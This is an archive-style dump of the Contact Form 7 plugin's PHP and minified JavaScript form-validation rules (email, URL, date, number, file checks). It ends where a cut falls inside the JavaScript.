namespace Contactable\SWV;

class AllRule extends CompositeRule {

	const rule_name = 'all';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		foreach ( $this->rules() as $rule ) {
			if ( $rule->matches( $context ) ) {
				$result = $rule->validate( $context );

				if ( is_wp_error( $result ) ) {
					if ( $result->get_error_message() ) {
						return $result;
					} else {
						return $this->create_error();
					}
				}
			}
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/mindate.php000064400000001366147510273060016017 0ustar00<?php

namespace Contactable\SWV;

class MinDateRule extends Rule {

	const rule_name = 'mindate';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		$threshold = $this->get_property( 'threshold' );

		if ( ! wpcf7_is_date( $threshold ) ) {
			return true;
		}

		foreach ( $input as $i ) {
			if ( wpcf7_is_date( $i ) and $i < $threshold ) {
				return $this->create_error();
			}
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/maxitems.php000064400000001321147510273060016214 0ustar00<?php

namespace Contactable\SWV;

class MaxItemsRule extends Rule {

	const rule_name = 'maxitems';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		$threshold = $this->get_property( 'threshold' );

		if ( ! wpcf7_is_number( $threshold ) ) {
			return true;
		}

		if ( (int) $threshold < count( $input ) ) {
			return $this->create_error();
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/enum.php000064400000002132147510273060015332 0ustar00<?php

namespace Contactable\SWV;

class EnumRule extends Rule {

	const rule_name = 'enum';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		$acceptable_values = (array) $this->get_property( 'accept' );

		$acceptable_values = array_map(
			static function ( $val ) {
				$val = strval( $val );
				$val = wpcf7_normalize_newline( $val );
				return $val;
			},
			$acceptable_values
		);

		$acceptable_values = array_unique( $acceptable_values );

		$acceptable_values = array_filter( $acceptable_values,
			static function ( $val ) {
				return '' !== $val;
			}
		);

		foreach ( $input as $i ) {
			$i = wpcf7_normalize_newline( $i );

			if ( ! in_array( $i, $acceptable_values, true ) ) {
				return $this->create_error();
			}
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/tel.php000064400000001151147510273060015152 0ustar00<?php

namespace Contactable\SWV;

class TelRule extends Rule {

	const rule_name = 'tel';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		foreach ( $input as $i ) {
			if ( ! wpcf7_is_tel( $i ) ) {
				return $this->create_error();
			}
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/dayofweek.php000064400000002026147510273060016346 0ustar00<?php

namespace Contactable\SWV;

class DayofweekRule extends Rule {

	const rule_name = 'dayofweek';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		$acceptable_values = (array) $this->get_property( 'accept' );
		$acceptable_values = array_map( 'intval', $acceptable_values );
		$acceptable_values = array_filter( $acceptable_values );
		$acceptable_values = array_unique( $acceptable_values );

		foreach ( $input as $i ) {
			if ( wpcf7_is_date( $i ) ) {
				$datetime = date_create_immutable( $i, wp_timezone() );
				$dow = (int) $datetime->format( 'N' );

				if ( ! in_array( $dow, $acceptable_values, true ) ) {
					return $this->create_error();
				}
			}
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/requiredfile.php000064400000001126147510273060017050 0ustar00<?php

namespace Contactable\SWV;

class RequiredFileRule extends Rule {

	const rule_name = 'requiredfile';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['file'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$field = $this->get_property( 'field' );
		$input = $_FILES[$field]['tmp_name'] ?? '';
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_exclude_blank( $input );

		if ( empty( $input ) ) {
			return $this->create_error();
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/maxnumber.php000064400000001416147510273060016370 0ustar00<?php

namespace Contactable\SWV;

class MaxNumberRule extends Rule {

	const rule_name = 'maxnumber';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		$threshold = $this->get_property( 'threshold' );

		if ( ! wpcf7_is_number( $threshold ) ) {
			return true;
		}

		foreach ( $input as $i ) {
			if ( wpcf7_is_number( $i ) and (float) $threshold < (float) $i ) {
				return $this->create_error();
			}
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/url.php000064400000001151147510273060015170 0ustar00<?php

namespace Contactable\SWV;

class URLRule extends Rule {

	const rule_name = 'url';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		foreach ( $input as $i ) {
			if ( ! wpcf7_is_url( $i ) ) {
				return $this->create_error();
			}
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/minnumber.php000064400000001416147510273060016366 0ustar00<?php

namespace Contactable\SWV;

class MinNumberRule extends Rule {

	const rule_name = 'minnumber';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		$threshold = $this->get_property( 'threshold' );

		if ( ! wpcf7_is_number( $threshold ) ) {
			return true;
		}

		foreach ( $input as $i ) {
			if ( wpcf7_is_number( $i ) and (float) $i < (float) $threshold ) {
				return $this->create_error();
			}
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/number.php000064400000001162147510273060015660 0ustar00<?php

namespace Contactable\SWV;

class NumberRule extends Rule {

	const rule_name = 'number';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		foreach ( $input as $i ) {
			if ( ! wpcf7_is_number( $i ) ) {
				return $this->create_error();
			}
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/date.php000064400000001154147510273060015306 0ustar00<?php

namespace Contactable\SWV;

class DateRule extends Rule {

	const rule_name = 'date';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		foreach ( $input as $i ) {
			if ( ! wpcf7_is_date( $i ) ) {
				return $this->create_error();
			}
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/maxdate.php000064400000001366147510273060016021 0ustar00<?php

namespace Contactable\SWV;

class MaxDateRule extends Rule {

	const rule_name = 'maxdate';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		$threshold = $this->get_property( 'threshold' );

		if ( ! wpcf7_is_date( $threshold ) ) {
			return true;
		}

		foreach ( $input as $i ) {
			if ( wpcf7_is_date( $i ) and $threshold < $i ) {
				return $this->create_error();
			}
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/maxfilesize.php000064400000001305147510273060016707 0ustar00<?php

namespace Contactable\SWV;

class MaxFileSizeRule extends Rule {

	const rule_name = 'maxfilesize';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['file'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$field = $this->get_property( 'field' );
		$input = $_FILES[$field]['size'] ?? '';
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_exclude_blank( $input );

		if ( empty( $input ) ) {
			return true;
		}

		$threshold = $this->get_property( 'threshold' );

		if ( $threshold < array_sum( $input ) ) {
			return $this->create_error();
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/time.php000064400000001154147510273060015327 0ustar00<?php

namespace Contactable\SWV;

class TimeRule extends Rule {

	const rule_name = 'time';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		foreach ( $input as $i ) {
			if ( ! wpcf7_is_time( $i ) ) {
				return $this->create_error();
			}
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/email.php000064400000001157147510273060015463 0ustar00<?php

namespace Contactable\SWV;

class EmailRule extends Rule {

	const rule_name = 'email';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		foreach ( $input as $i ) {
			if ( ! wpcf7_is_email( $i ) ) {
				return $this->create_error();
			}
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/any.php000064400000000767147510273060015171 0ustar00<?php

namespace Contactable\SWV;

class AnyRule extends CompositeRule {

	const rule_name = 'any';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		foreach ( $this->rules() as $rule ) {
			if ( $rule->matches( $context ) ) {
				$result = $rule->validate( $context );

				if ( ! is_wp_error( $result ) ) {
					return true;
				}
			}
		}

		return $this->create_error();
	}

}
contact-form-7/includes/swv/php/abstract-rules.php000064400000006407147510273060016200 0ustar00<?php

namespace Contactable\SWV;

use WP_Error;

/**
 * The base class of SWV rules.
 */
abstract class Rule {

	protected $properties = array();

	public function __construct( $properties = '' ) {
		$this->properties = wp_parse_args( $properties, array() );
	}


	/**
	 * Returns true if this rule matches the given context.
	 *
	 * @param array $context Context.
	 */
	public function matches( $context ) {
		$field = $this->get_property( 'field' );

		if ( ! empty( $context['field'] ) ) {
			if ( $field and ! in_array( $field, (array) $context['field'], true ) ) {
				return false;
			}
		}

		return true;
	}


	/**
	 * Validates with this rule's logic.
	 *
	 * @param array $context Context.
	 */
	public function validate( $context ) {
		return true;
	}


	/**
	 * Converts the properties to an array.
	 *
	 * @return array Array of properties.
	 */
	public function to_array() {
		$properties = (array) $this->properties;

		if ( defined( 'static::rule_name' ) and static::rule_name ) {
			$properties = array( 'rule' => static::rule_name ) + $properties;
		}

		return $properties;
	}


	/**
	 * Returns the property value specified by the given property name.
	 *
	 * @param string $name Property name.
	 * @return mixed Property value.
	 */
	public function get_property( $name ) {
		if ( isset( $this->properties[$name] ) ) {
			return $this->properties[$name];
		}
	}


	/**
	 * Returns the default user input value from $_POST.
	 *
	 * @return mixed Default user input value.
	 */
	public function get_default_input() {
		$field = $this->get_property( 'field' );

		if ( isset( $_POST[$field] ) ) {
			return wp_unslash( $_POST[$field] );
		}

		return '';
	}


	/**
	 * Creates an error object. Returns false if the error property is omitted.
	 */
	protected function create_error() {
		$error_code = defined( 'static::rule_name' )
			? sprintf( 'swv_%s', static::rule_name )
			: 'swv';

		return new WP_Error(
			$error_code,
			(string) $this->get_property( 'error' ),
			$this
		);
	}

}


/**
 * The base class of SWV composite rules.
 */
abstract class CompositeRule extends Rule {

	protected $rules = array();


	/**
	 * Adds a sub-rule to this composite rule.
	 *
	 * @param Rule $rule Sub-rule to be added.
	 */
	public function add_rule( $rule ) {
		if ( $rule instanceof Rule ) {
			$this->rules[] = $rule;
		}
	}


	/**
	 * Returns an iterator of sub-rules.
	 */
	public function rules() {
		foreach ( $this->rules as $rule ) {
			yield $rule;
		}
	}


	/**
	 * Returns true if this rule matches the given context.
	 *
	 * @param array $context Context.
	 */
	public function matches( $context ) {
		return true;
	}


	/**
	 * Validates with this rule's logic.
	 *
	 * @param array $context Context.
	 */
	public function validate( $context ) {
		foreach ( $this->rules() as $rule ) {
			if ( $rule->matches( $context ) ) {
				$result = $rule->validate( $context );

				if ( is_wp_error( $result ) ) {
					return $result;
				}
			}
		}

		return true;
	}


	/**
	 * Converts the properties to an array.
	 *
	 * @return array Array of properties.
	 */
	public function to_array() {
		$rules_arrays = array_map(
			static function ( $rule ) {
				return $rule->to_array();
			},
			$this->rules
		);

		return array_merge(
			parent::to_array(),
			array(
				'rules' => $rules_arrays,
			)
		);
	}

}
contact-form-7/includes/swv/swv.php000064400000010224147510273060013265 0ustar00<?php
/**
 * Schema-Woven Validation API
 */

require_once WPCF7_PLUGIN_DIR . '/includes/swv/schema-holder.php';
require_once WPCF7_PLUGIN_DIR . '/includes/swv/script-loader.php';
require_once WPCF7_PLUGIN_DIR . '/includes/swv/php/abstract-rules.php';


/**
 * Returns an associative array of SWV rules.
 */
function wpcf7_swv_available_rules() {
	$rules = array(
		'required' => 'Contactable\SWV\RequiredRule',
		'requiredfile' => 'Contactable\SWV\RequiredFileRule',
		'email' => 'Contactable\SWV\EmailRule',
		'url' => 'Contactable\SWV\URLRule',
		'tel' => 'Contactable\SWV\TelRule',
		'number' => 'Contactable\SWV\NumberRule',
		'date' => 'Contactable\SWV\DateRule',
		'time' => 'Contactable\SWV\TimeRule',
		'file' => 'Contactable\SWV\FileRule',
		'enum' => 'Contactable\SWV\EnumRule',
		'dayofweek' => 'Contactable\SWV\DayofweekRule',
		'minitems' => 'Contactable\SWV\MinItemsRule',
		'maxitems' => 'Contactable\SWV\MaxItemsRule',
		'minlength' => 'Contactable\SWV\MinLengthRule',
		'maxlength' => 'Contactable\SWV\MaxLengthRule',
		'minnumber' => 'Contactable\SWV\MinNumberRule',
		'maxnumber' => 'Contactable\SWV\MaxNumberRule',
		'mindate' => 'Contactable\SWV\MinDateRule',
		'maxdate' => 'Contactable\SWV\MaxDateRule',
		'minfilesize' => 'Contactable\SWV\MinFileSizeRule',
		'maxfilesize' => 'Contactable\SWV\MaxFileSizeRule',
		'stepnumber' => 'Contactable\SWV\StepNumberRule',
		'all' => 'Contactable\SWV\AllRule',
		'any' => 'Contactable\SWV\AnyRule',
	);

	return apply_filters( 'wpcf7_swv_available_rules', $rules );
}


add_action( 'wpcf7_init', 'wpcf7_swv_load_rules', 10, 0 );

/**
 * Loads SWV fules.
 */
function wpcf7_swv_load_rules() {
	$rules = wpcf7_swv_available_rules();

	foreach ( array_keys( $rules ) as $rule ) {
		$file = sprintf( '%s.php', $rule );
		$path = path_join( WPCF7_PLUGIN_DIR . '/includes/swv/php/rules', $file );

		if ( file_exists( $path ) ) {
			include_once $path;
		}
	}
}


/**
 * Creates an SWV rule object.
 *
 * @param string $rule_name Rule name.
 * @param string|array $properties Optional. Rule properties.
 * @return \Contactable\SWV\Rule|null The rule object, or null if it failed.
 */
function wpcf7_swv_create_rule( $rule_name, $properties = '' ) {
	$rules = wpcf7_swv_available_rules();

	if ( isset( $rules[$rule_name] ) ) {
		return new $rules[$rule_name]( $properties );
	}
}


/**
 * Returns an associative array of JSON Schema for Contact Form 7 SWV.
 */
function wpcf7_swv_get_meta_schema() {
	return array(
		'$schema' => 'https://json-schema.org/draft/2020-12/schema',
		'title' => 'Contact Form 7 SWV',
		'description' => 'Contact Form 7 SWV meta-schema',
		'type' => 'object',
		'properties' => array(
			'version' => array(
				'type' => 'string',
			),
			'locale' => array(
				'type' => 'string',
			),
			'rules' => array(
				'type' => 'array',
				'items' => array(
					'type' => 'object',
					'properties' => array(
						'rule' => array(
							'type' => 'string',
							'enum' => array_keys( wpcf7_swv_available_rules() ),
						),
						'field' => array(
							'type' => 'string',
							'pattern' => '^[A-Za-z][-A-Za-z0-9_:]*$',
						),
						'error' => array(
							'type' => 'string',
						),
						'accept' => array(
							'type' => 'array',
							'items' => array(
								'type' => 'string',
							),
						),
						'base' => array(
							'type' => 'string',
						),
						'interval' => array(
							'type' => 'number',
							'minimum' => 0,
						),
						'threshold' => array(
							'type' => 'string',
						),
					),
					'required' => array( 'rule' ),
				),
			),
		),
	);
}


/**
 * The schema class as a composite rule.
 */
class WPCF7_SWV_Schema extends \Contactable\SWV\CompositeRule {

	/**
	 * The human-readable version of the schema.
	 */
	const version = 'Contact Form 7 SWV Schema 2024-10';


	/**
	 * Constructor.
	 */
	public function __construct( $properties = '' ) {
		$this->properties = wp_parse_args( $properties, array(
			'version' => self::version,
		) );
	}


	/**
	 * Validates with this schema.
	 *
	 * @param array $context Context.
	 */
	public function validate( $context ) {
		foreach ( $this->rules() as $rule ) {
			if ( $rule->matches( $context ) ) {
				yield $rule->validate( $context );
			}
		}
	}

}
contact-form-7/includes/swv/script-loader.php000064400000001024147510273060015214 0ustar00<?php

add_action(
	'wp_enqueue_scripts',
	static function () {
		$assets = array();
		$asset_file = wpcf7_plugin_path( 'includes/swv/js/index.asset.php' );

		if ( file_exists( $asset_file ) ) {
			$assets = include( $asset_file );
		}

		$assets = wp_parse_args( $assets, array(
			'dependencies' => array(),
			'version' => WPCF7_VERSION,
		) );

		wp_register_script( 'swv',
			wpcf7_plugin_url( 'includes/swv/js/index.js' ),
			$assets['dependencies'],
			$assets['version'],
			array( 'in_footer' => true )
		);
	},
	10, 0
);
contact-form-7/includes/swv/js/index.asset.php000064400000000121147510273060015302 0ustar00<?php

return array(
	'dependencies' => array(),
	'version' => WPCF7_VERSION,
);
contact-form-7/includes/swv/js/index.js000064400000030340147510273060014017 0ustar00(()=>{"use strict";var t={d:(e,i)=>{for(var s in i)t.o(i,s)&&!t.o(e,s)&&Object.defineProperty(e,s,{enumerable:!0,get:i[s]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e),r:t=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})}},e={};function i(t){if(this.formData={},this.tree={},!(t instanceof FormData))return this;this.formData=t;const e=()=>{const t=new Map;return t.largestIndex=0,t.set=function(e,i){""===e?e=t.largestIndex++:/^[0-9]+$/.test(e)&&(e=parseInt(e),t.largestIndex<=e&&(t.largestIndex=e+1)),Map.prototype.set.call(t,e,i)},t};this.tree=e();const i=/^(?<name>[a-z][-a-z0-9_:]*)(?<array>(?:\[(?:[a-z][-a-z0-9_:]*|[0-9]*)\])*)/i;for(const[t,s]of this.formData){const o=t.match(i);if(o)if(""===o.groups.array)this.tree.set(o.groups.name,s);else{const t=[...o.groups.array.matchAll(/\[([a-z][-a-z0-9_:]*|[0-9]*)\]/gi)].map((([t,e])=>e));t.unshift(o.groups.name);const i=t.pop();t.reduce(((t,i)=>{if(/^[0-9]+$/.test(i)&&(i=parseInt(i)),t.get(i)instanceof Map)return t.get(i);const s=e();return t.set(i,s),s}),this.tree).set(i,s)}}}t.r(e),t.d(e,{all:()=>D,any:()=>M,date:()=>m,dayofweek:()=>u,email:()=>r,enum:()=>h,file:()=>d,maxdate:()=>z,maxfilesize:()=>j,maxitems:()=>v,maxlength:()=>x,maxnumber:()=>y,mindate:()=>A,minfilesize:()=>$,minitems:()=>w,minlength:()=>g,minnumber:()=>b,number:()=>c,required:()=>n,requiredfile:()=>a,stepnumber:()=>I,tel:()=>l,time:()=>f,url:()=>p}),i.prototype.entries=function(){return this.tree.entries()},i.prototype.get=function(t){return this.tree.get(t)},i.prototype.getAll=function(t){if(!this.has(t))return[];const e=t=>{const i=[];if(t instanceof Map)for(const[s,o]of t)i.push(...e(o));else""!==t&&i.push(t);return i};return e(this.get(t))},i.prototype.has=function(t){return this.tree.has(t)},i.prototype.keys=function(){return this.tree.keys()},i.prototype.values=function(){return this.tree.values()};const s=i;function o({rule:t,field:e,error:i,...s}){this.rule=t,this.field=e,this.error=i,this.properties=s}const n=function(t){if(0===t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t)).length)throw new o(this)},a=function(t){if(0===t.getAll(this.field).length)throw new o(this)},r=function(t){if(!t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t)).every((t=>{if(t.length<6)return!1;if(-1===t.indexOf("@",1))return!1;if(t.indexOf("@")!==t.lastIndexOf("@"))return!1;const[e,i]=t.split("@",2);if(!/^[a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]+$/.test(e))return!1;if(/\.{2,}/.test(i))return!1;if(/(?:^[ \t\n\r\0\x0B.]|[ \t\n\r\0\x0B.]$)/.test(i))return!1;const s=i.split(".");if(s.length<2)return!1;for(const t of s){if(/(?:^[ \t\n\r\0\x0B-]|[ \t\n\r\0\x0B-]$)/.test(t))return!1;if(!/^[a-z0-9-]+$/i.test(t))return!1}return!0})))throw new o(this)},p=function(t){const e=t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t));if(!e.every((t=>{try{return(t=>-1!==["http","https","ftp","ftps","mailto","news","irc","irc6","ircs","gopher","nntp","feed","telnet","mms","rtsp","sms","svn","tel","fax","xmpp","webcal","urn"].indexOf(t))(new URL(t).protocol.replace(/:$/,""))}catch{return!1}})))throw new o(this)},l=function(t){if(!t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t)).every((t=>(((t=(t=t.replace(/[#*].*$/,"")).replaceAll(/[()/.*#\s-]+/g,"")).startsWith("+")||t.startsWith("00"))&&(t=`+${t.replace(/^[+0]+/,"")}`),!!/^[+]?[0-9]+$/.test(t)&&6<t.length&&t.length<16))))throw new o(this)},c=function(t){if(!t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t)).every((t=>!!/^[-]?[0-9]+(?:[eE][+-]?[0-9]+)?$/.test(t)||!!/^[-]?(?:[0-9]+)?[.][0-9]+(?:[eE][+-]?[0-9]+)?$/.test(t))))throw new o(this)},m=function(t){if(!t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t)).every((t=>{if(!/^[0-9]{4,}-[0-9]{2}-[0-9]{2}$/.test(t))return!1;const e=new Date(t);return!Number.isNaN(e.valueOf())})))throw new o(this)},f=function(t){if(!t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t)).every((t=>{const e=t.match(/^([0-9]{2})\:([0-9]{2})(?:\:([0-9]{2}))?$/);if(!e)return!1;const i=parseInt(e[1]),s=parseInt(e[2]),o=e[3]?parseInt(e[3]):0;return 0<=i&&i<=23&&0<=s&&s<=59&&0<=o&&o<=59})))throw new o(this)},d=function(t){if(!t.getAll(this.field).every((t=>t instanceof File&&this.accept?.some((e=>/^\.[a-z0-9]+$/i.test(e)?t.name.toLowerCase().endsWith(e.toLowerCase()):(t=>{const e=[],i=t.match(/^(?<toplevel>[a-z]+)\/(?<sub>[*]|[a-z0-9.+-]+)$/i);if(i){const t=i.groups.toplevel.toLowerCase(),s=i.groups.sub.toLowerCase();for(const[o,n]of(()=>{const t=new Map;return t.set("jpg|jpeg|jpe","image/jpeg"),t.set("gif","image/gif"),t.set("png","image/png"),t.set("bmp","image/bmp"),t.set("tiff|tif","image/tiff"),t.set("webp","image/webp"),t.set("ico","image/x-icon"),t.set("heic","image/heic"),t.set("asf|asx","video/x-ms-asf"),t.set("wmv","video/x-ms-wmv"),t.set("wmx","video/x-ms-wmx"),t.set("wm","video/x-ms-wm"),t.set("avi","video/avi"),t.set("divx","video/divx"),t.set("flv","video/x-flv"),t.set("mov|qt","video/quicktime"),t.set("mpeg|mpg|mpe","video/mpeg"),t.set("mp4|m4v","video/mp4"),t.set("ogv","video/ogg"),t.set("webm","video/webm"),t.set("mkv","video/x-matroska"),t.set("3gp|3gpp","video/3gpp"),t.set("3g2|3gp2","video/3gpp2"),t.set("txt|asc|c|cc|h|srt","text/plain"),t.set("csv","text/csv"),t.set("tsv","text/tab-separated-values"),t.set("ics","text/calendar"),t.set("rtx","text/richtext"),t.set("css","text/css"),t.set("htm|html","text/html"),t.set("vtt","text/vtt"),t.set("dfxp","application/ttaf+xml"),t.set("mp3|m4a|m4b","audio/mpeg"),t.set("aac","audio/aac"),t.set("ra|ram","audio/x-realaudio"),t.set("wav","audio/wav"),t.set("ogg|oga","audio/ogg"),t.set("flac","audio/flac"),t.set("mid|midi","audio/midi"),t.set("wma","audio/x-ms-wma"),t.set("wax","audio/x-ms-wax"),t.set("mka","audio/x-matroska"),t.set("rtf","application/rtf"),t.set("js","application/javascript"),t.set("pdf","application/pdf"),t.set("swf","application/x-shockwave-flash"),t.set("class","application/java"),t.set("tar","application/x-tar"),t.set("zip","application/zip"),t.set("gz|gzip","application/x-gzip"),t.set("rar","application/rar"),t.set("7z","application/x-7z-compressed"),t.set("exe","application/x-msdownload"),t.set("psd","application/octet-stream"),t.set("xcf","application/octet-stream"),t.set("doc","application/msword"),t.set("pot|pps|ppt","application/vnd.ms-powerpoint"),t.set("wri","application/vnd.ms-write"),t.set("xla|xls|xlt|xlw","application/vnd.ms-excel"),t.set("mdb","application/vnd.ms-access"),t.set("mpp","application/vnd.ms-project"),t.set("docx","application/vnd.openxmlformats-officedocument.wordprocessingml.document"),t.set("docm","application/vnd.ms-word.document.macroEnabled.12"),t.set("dotx","application/vnd.openxmlformats-officedocument.wordprocessingml.template"),t.set("dotm","application/vnd.ms-word.template.macroEnabled.12"),t.set("xlsx","application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"),t.set("xlsm","application/vnd.ms-excel.sheet.macroEnabled.12"),t.set("xlsb","application/vnd.ms-excel.sheet.binary.macroEnabled.12"),t.set("xltx","application/vnd.openxmlformats-officedocument.spreadsheetml.template"),t.set("xltm","application/vnd.ms-excel.template.macroEnabled.12"),t.set("xlam","application/vnd.ms-excel.addin.macroEnabled.12"),t.set("pptx","application/vnd.openxmlformats-officedocument.presentationml.presentation"),t.set("pptm","application/vnd.ms-powerpoint.presentation.macroEnabled.12"),t.set("ppsx","application/vnd.openxmlformats-officedocument.presentationml.slideshow"),t.set("ppsm","application/vnd.ms-powerpoint.slideshow.macroEnabled.12"),t.set("potx","application/vnd.openxmlformats-officedocument.presentationml.template"),t.set("potm","application/vnd.ms-powerpoint.template.macroEnabled.12"),t.set("ppam","application/vnd.ms-powerpoint.addin.macroEnabled.12"),t.set("sldx","application/vnd.openxmlformats-officedocument.presentationml.slide"),t.set("sldm","application/vnd.ms-powerpoint.slide.macroEnabled.12"),t.set("onetoc|onetoc2|onetmp|onepkg","application/onenote"),t.set("oxps","application/oxps"),t.set("xps","application/vnd.ms-xpsdocument"),t.set("odt","application/vnd.oasis.opendocument.text"),t.set("odp","application/vnd.oasis.opendocument.presentation"),t.set("ods","application/vnd.oasis.opendocument.spreadsheet"),t.set("odg","application/vnd.oasis.opendocument.graphics"),t.set("odc","application/vnd.oasis.opendocument.chart"),t.set("odb","application/vnd.oasis.opendocument.database"),t.set("odf","application/vnd.oasis.opendocument.formula"),t.set("wp|wpd","application/wordperfect"),t.set("key","application/vnd.apple.keynote"),t.set("numbers","application/vnd.apple.numbers"),t.set("pages","application/vnd.apple.pages"),t})())("*"===s&&n.startsWith(t+"/")||n===i[0])&&e.push(...o.split("|"))}return e})(e).some((e=>(e="."+e.trim(),t.name.toLowerCase().endsWith(e.toLowerCase())))))))))throw new o(this)},h=function(t){if(!t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t)).every((t=>this.accept?.some((e=>t===String(e))))))throw new o(this)},u=function(t){if(!t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t)).every((t=>{const e=0===(i=new Date(t).getDay())?7:i;var i;return this.accept?.some((t=>e===parseInt(t)))})))throw new o(this)},w=function(t){if(t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t)).length<parseInt(this.threshold))throw new o(this)},v=function(t){const e=t.getAll(this.field).map((t=>t.trim())).filter((t=>""!==t));if(parseInt(this.threshold)<e.length)throw new o(this)},g=function(t){const 